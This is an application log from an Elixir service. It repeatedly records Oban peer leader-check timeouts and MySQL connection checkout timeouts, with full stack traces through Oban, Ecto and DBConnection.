    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:21:29.315000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:21:34.316000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:21:37.925000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:21:39.048000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:22:12.929000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:22:13.083000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:22:18.084000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:22:22.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:22:55.302000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:23:00.303000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:23:05.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:23:39.316000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:23:44.317000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:23:47.933000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:23:48.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:24:23.998000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:24:28.999000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:24:33.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:25:06.906000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:25:11.907000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:25:16.901000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:25:49.935000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:25:52.938000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:25:54.936000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:25:59.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1183.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:26:32.797000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:26:37.798000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:26:41.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:27:14.975000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:27:19.976000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:27:24.575000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:27:59.578000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:27:59.607000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:28:04.608000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:28:05.291000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:28:08.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:28:41.989000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
